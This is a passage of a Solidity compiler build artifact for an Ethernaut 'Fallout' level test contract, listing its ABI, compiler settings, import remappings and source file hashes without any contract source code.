ndexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Fallout.t.sol\":\"TestFallout\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Fallout.t.sol\":{\"keccak256\":\"0x32cd06c5eaab7cd2ef1ee5908b18857eb670a45fcf9d969e7e9cd178fedb4ab6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e2f8cd4d253d889995bcc958d1985b6842b86fcd3e01173966e4bbe7e0ee6965\",\"dweb:/ipfs/QmWuZGScN24R23cNrtBsJFr5ws5ugVhWP4eUfArkixU1r2\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool",